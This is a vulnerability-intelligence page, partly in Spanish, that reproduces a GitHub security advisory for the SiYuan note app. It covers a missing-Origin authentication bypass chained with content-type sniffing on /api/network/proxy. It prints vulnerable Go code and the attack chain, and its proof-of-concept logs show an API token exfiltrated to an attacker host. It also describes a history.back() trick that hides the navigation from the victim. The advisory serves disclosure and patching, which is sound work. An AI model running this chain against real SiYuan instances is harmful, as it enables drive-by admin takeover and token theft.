llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/siyuan-note/siyuan

GHSA-2W6Q-WGC8-Q743

Missing-Origin fail-open in `CheckAuth` / `IsSessionOriginAllowed`, composed with content-type sniffing on `/api/network/proxy`: any web page obtains administrator API access and same-origin script execution in SiYuan

Parche disponible
Descargar PNG JSON
CVSS 3.1
9.3
Crítica
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a 10 d de la divulgación
Exposición73 dDesde la divulgación, 7 sept 2026, 12:29 p. m.
Detección73 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche v3.8.4+incompatible
Monitoreo
Detectada +1
7 sept 26
17 sept 26
29 sept 26
20 nov 26
7 sept 26
26 sept 26
14 oct 26
2 nov 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-2W6Q-WGC8-Q743 divulgada · CVSS 9.3 (GitHub)
Remediación Parche v3.8.4+incompatible github.com/siyuan-note/siyuan · 10 d desde divulgación
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

Two guards in the kernel treat an absent `Origin` header as trusted, and a third code
path lets an attacker serve arbitrary HTML under SiYuan's own origin. Composed, a single
cross-site GET from any web page gives an unauthenticated attacker `RoleAdministrator`,
script execution in `http://127.0.0.1:6806`, and the persistent kernel API token.

The premise is stated in the code itself, at `kernel/util/net.go:129-133`:

func IsSessionOriginAllowed(origin, host string) bool {
	if "" == origin {
		// 浏览器发起的跨站请求都会携带 Origin,未携带时视为非浏览器客户端,按原行为放行
		return true
	}

*"Cross-site requests initiated by a browser always carry Origin; when it is absent, treat
the client as a non-browser and allow it as before."* That premise is false. Per the Fetch
standard a browser omits `Origin` on a cross-site top-level GET navigation and on
`no-cors` GET subresource loads. Measured below: the request arrives with no `Origin` but
with `Sec-Fetch-Site: cross-site`, `Sec-Fetch-Mode: navigate`, `Sec-Fetch-Dest: document`
and a cross-site `Referer` — the kernel simply never looks at them
(`grep -rn "Sec-Fetch" kernel/ --include=*.go` matches nothing outside tests).

Affected version

`v3.8.2` (commit `44a6c212a994c7ba8129fc38b001a9ab58957c6f`, the current release, published
2026-08-30) — which is also `origin/master`; no commit after the tag touches
`kernel/model/session.go`, `kernel/util/net.go`, `kernel/api/network.go` or
`kernel/server/serve.go`.

The three defects

(1) `kernel/model/session.go:258-268` — the no-password desktop branch.
Reached when `!IsAccessAuthRequired()` (i.e. `Conf.AccessAuthCode == ""` and OIDC
disabled) — the out-of-the-box state of a `container [std]` install:

origin := c.GetHeader("Origin")
if !localhost ||
	("" != clientIP && !util.IsLocalHostname(clientIP)) ||
	("" != host && !util.IsLocalHost(host)) ||
	("" != origin && !util.IsLocalOrigin(origin)) ||     // <-- only checked when present
	("" != forwardedHost && !util.IsLocalHost(forwardedHost)) {
	... 401 ...
}
c.Set(RoleContextKey, RoleAdministrator)

A request with no `Origin` header skips the origin check entirely and is granted
`RoleAdministrator`. This is an incomplete mitigation of issue #9180 (the origin check
this line implements), not something introduced by a later fix.

(2) `kernel/util/net.go:129-133` — `IsSessionOriginAllowed`, the cookie-auth sibling.
This helper was *added by* the fix for GHSA-hhm2-g993-p656 and ships with the same
empty-`Origin` fail-open. It gates the password/session branch (`session.go:316`) and all
three WebSocket `CheckOrigin` hooks. The session cookie is `SameSite=Lax`
(`kernel/server/serve.go:166`), and Lax does send the cookie on a cross-site top-level
GET navigation — so instances that *do* have a lock-screen password are reachable too
whenever a session is live. This one is a genuine residual of that advisory's own fix.

**(3) `kernel/api/network.go:424-431` + `router.go:683` — an attacker-controlled response
served as `text/html` under SiYuan's origin.**

ginServer.Any("/api/network/proxy", model.CheckAuth, model.CheckAdminRole, httpProxy)

`Any` makes the route reachable by GET (documented in `docs/API.md` as "Request method:
any HTTP method"). `httpProxy` fetches the URL supplied in the base64url `u` query
parameter and copies the body verbatim, while `forwardResponseHeaders` renames every
upstream header:

func forwardResponseHeaders(dst http.Header, src http.Header) {
	for k, vs := range src {
		for _, v := range vs {
			dst.Add("Siyuan-Proxy-"+k, v)
		}
	}
}

Because the real `Content-Type` is renamed away, the response leaves Go's `net/http` with
no content type, so the standard library's sniffer supplies one from the attacker's body.
This route sets neither `X-Content-Type-Options: nosniff` nor a CSP (unlike `/assets`,
`/appearance`, `/export`, `/history`). Measured: an upstream response that explicitly
declares `Content-Type: text/plain; charset=utf-8` is re-served by SiYuan as
`Content-Type: text/html; charset=utf-8` and executes.

`/es/network/proxy` behaves identically. `/api/network/echo` is also `Any`-registered but
answers with `c.JSON`, so it is not a second HTML sink.

Chain

attacker page (any origin) → cross-site GET to
`http://127.0.0.1:6806/api/network/proxy?u=<base64url(attacker URL)>` → no `Origin` ⇒
`RoleAdministrator` (defect 1 or 2) → attacker HTML served as `text/html` under
`http://127.0.0.1:6806` (defect 3) → attacker JavaScript now runs same-origin and every
admin API call succeeds without any origin restriction.

Proof of concept (all measured on v3.8.2, default config, this lab)

A. HTTP layer — control/exploit pairs
CONTROL  POST /api/system/getConf      Origin: http://evil.example   -> 401
EXPLOIT  POST /api/system/getConf      (no Origin header)            -> 200, code 0,
                                                                        conf.api.token = 3u1stgsau5rfbhv5
CONTROL  GET  /api/network/proxy?u=…   Origin: http://evil.example   -> 401
EXPLOIT  GET  /api/network/proxy?u=…   (no Origin header)            -> 200

The proxied response, where the upstream deliberately declared text/plain:

HTTP/1.1 200 OK
Siyuan-Proxy-Content-Type: text/plain; charset=utf-8
Content-Type: text/html; charset=utf-8
(no X-Content-Type-Options, no Content-Security-Policy)

<html><body>SNIFFED-AS-HTML<script>…</script></body></html>
B. Browser, end to end

Attacker page served from a public address space host (`http://203.0.113.5:9977`),
target is the loopback kernel.

*Chromium 150.0.7871.181 — cross-site top-level navigation:*

GET /nav.html
GET /mark?m=nav_page_loaded_origin=http%3A%2F%2F203.0.113.5%3A9977
GET /payload.html                                       <- fetched by the SiYuan kernel
GET /exfil?token=3u1stgsau5rfbhv5&origin=http%3A%2F%2F127.0.0.1%3A6806
        | Referer: http://127.0.0.1:6806/

`location.origin` inside the injected payload is `http://127.0.0.1:6806` and the kernel API
token is exfiltrated. Appending `setTimeout(()=>history.back(),1500)` returns the tab to the
attacker page, so the navigation is a flash rather than a persistent tell.

*Chromium 150 — iframe/subresource:* blocked. `iframe.onload` fires on an error page, the
kernel never receives the request. This is Chrome's Local Network Access gate
(public → loopback), so on Chrome the viable vector is the top-level navigation only.

*Firefox 140.13.0esr — iframe/subresource:* works, silently, with zero interaction:

GET /iframe.html
GET /payload.html                                       <- fetched by the SiYuan kernel
GET /mark?m=iframe_onload
GET /exfil?token=3u1stgsau5rfbhv5&origin=http%3A%2F%2F127.0.0.1%3A6806
C. The headers the kernel actually receives

Cross-site top-level GET navigation from `http://203.0.113.5:9978` to a loopback origin,
captured on the wire (Chromium 150):

Origin:          (absent)
Sec-Fetch-Site:  cross-site
Sec-Fetch-Mode:  navigate
Sec-Fetch-Dest:  document
Referer:         http://203.0.113.5:9978/

Impact

  • Unauthenticated `RoleAdministrator` on every admin API for a drive-by visitor.
  • Same-origin script execution in the SiYuan UI origin: full workspace read
  • Theft of `conf.api.token`, which grants persistent `Authorization: Token …` administrator
  • From the injected same-origin context, `POST /api/snippet/setSnippet` returns `{"code":0}`

Severity

CVSS v4 `AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` ≈ 8.6 (High/Critical)
for the confirmed same-origin takeover plus credential theft. `UI:A` reflects the victim
merely loading a web page (Firefox: no interaction at all; Chrome: a visible tab
navigation). CWE-346 (Origin Validation Error), CWE-1220 (Insufficient Granularity of
Access Control), with CWE-430/CWE-436 for the sniffing sink.

Suggested fix

  1. Make both guards fail closed, or better, decide with a header the browser always
// reject any request the browser labels as cross-site, with or without Origin
if s := c.GetHeader("Sec-Fetch-Site"); s != "" && s != "same-origin" && s != "none" {
	// 401
}

`Sec-Fetch-Site` is present on the wire today (measured above) and is exactly the signal
the `"" == origin` comment assumes does not exist.
2. Restrict `/api/network/proxy` and `/es/network/proxy` to `POST` (they are documented as
API calls, not navigable resources), and/or set `X-Content-Type-Options: nosniff` plus
`Content-Disposition: attachment` and an explicit
`Content-Type: application/octet-stream` on the proxied response so the sniffer can
never promote it to HTML.

Dedup

All published advisories for `github.com/siyuan-note/siyuan/kernel` were enumerated and
their descriptions searched: none mentions `/api/network/proxy`, `httpProxy`,
`Siyuan-Proxy`, content-type sniffing, or an absent `Origin` header as the defect. Nearest
neighbours, each re-tested as a control here:

  • GHSA-hvr9-72v2-fff3 / CVE-2026-54069 — blanket `chrome-extension://` origin
  • GHSA-hhm2-g993-p656 — the fix that introduced `IsSessionOriginAllowed`; its own
  • GHSA-68p4-j234-43mv — credentialed cross-origin fetch via
  • GHSA-56cv-c5p2-j2wg — SSRF via `/api/network/forwardProxy` (POST + JSON only, not
  • GHSA-xp2m-98x8-rpj6, GHSA-3cc2-h3v6-rqpq — CSWSH; WebSocket handshakes always

Issue/PR search: `network/proxy` returns only feature/bug threads (#17748, #18220, #18991,
#18414); `Origin header` returns #9180 (the origin of this guard) and false-rejection
complaints (#18712, #18670, #18701); no thread proposes handling an absent `Origin`.

`.github/SECURITY.md` excludes SSRF reports but states "This exclusion does not apply to
unauthenticated access or authentication/authorization bypasses" — this is an
authentication bypass yielding same-origin script execution, and it is not filed as SSRF.
`/api/network/proxy` is documented as a supported API, not as a debug-only endpoint.

Honest limits

  1. The Electron OS-command escalation is inferred, not measured: I confirmed that
  2. The password/session leg (defect 2) was confirmed server-side with a cookie jar
  3. `util.SSRFSafeDialer` only blocks private/loopback targets when `util.SafeMode` is set,
  4. Defect (1) alone yields no POST CSRF: a page can never omit `Origin` on a POST (control:
  5. `util.SiYuanAccessAuthCodeBypass` (env `SIYUAN_ACCESS_AUTH_CODE_BYPASS`, default false)
  6. Scope of the claim: `container [std]` desktop with the default (no lock-screen password,

---

Appendix — `EVIDENCE_siyuan_no_origin_20260901.txt` (inlined; advisories accept no attachments)

=== SiYuan v3.8.2 (commit 44a6c212a) — measured 2026-09-01, all against a local default-config kernel on 127.0.0.1:6806 ===

--- A. HTTP layer: control / exploit pairs (curl) ---
CONTROL  POST /api/system/getConf   Origin: http://evil.example      -> 401
EXPLOIT  POST /api/system/getConf   (no Origin header)               -> 200  code=0  conf.api.token=3u1stgsau5rfbhv5
CONTROL  GET  /api/network/proxy?u=...  Origin: http://evil.example  -> 401
EXPLOIT  GET  /api/network/proxy?u=...  (no Origin header)           -> 200
           upstream declared: Content-Type: text/plain; charset=utf-8
           siyuan returned : Siyuan-Proxy-Content-Type: text/plain; charset=utf-8
                             Content-Type: text/html; charset=utf-8      <-- Go net/http sniffer
                             (no X-Content-Type-Options, no CSP)
           body: <html><body>SNIFFED-AS-HTML<script>...</script></body></html>

--- B. Browser end-to-end, attacker page in PUBLIC address space http://203.0.113.5:9977 ---
[Chromium 150.0.7871.181] top-level navigation vector:
  GET /nav.html
  GET /mark?m=nav_page_loaded_origin=http%3A%2F%2F203.0.113.5%3A9977
  GET /payload.html                       <- fetched by the SiYuan kernel (server side)
  GET /exfil?token=3u1stgsau5rfbhv5&origin=http%3A%2F%2F127.0.0.1%3A6806 | Referer=http://127.0.0.1:6806/
[Chromium 150] iframe/subresource vector: iframe_onload fired, kernel never fetched /payload.html, no exfil (Local Network Access)
[Firefox 140.13.0esr] iframe/subresource vector (silent, zero interaction):
  GET /iframe.html
  GET /payload.html                       <- fetched by the SiYuan kernel
  GET /mark?m=iframe_onload
  GET /exfil?token=3u1stgsau5rfbhv5&origin=http%3A%2F%2F127.0.0.1%3A6806 | Referer=http://127.0.0.1:6806/

--- C. Headers actually on the wire for that cross-site top-level GET navigation (Chromium 150 -> 127.0.0.1) ---
PATH /kernel-stand-in
  Origin: None
  Sec-Fetch-Site: cross-site
  Sec-Fetch-Mode: navigate
  Sec-Fetch-Dest: document
  Referer: http://203.0.113.5:9978/
PATH /favicon.ico

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:R
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
github.com/siyuan-note/siyuan≤ 3.8.3
3.8.3
v3.8.7+incompatible
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/siyuan-note/siyuan
Corregida v3.8.4+incompatible 10 d v3.8.7+incompatible no afectada
Versiones corregidasv3.8.4+incompatible
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/siyuan-note/siyuan/security/advisories/GHSA-2w6q-wgc8-q743

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.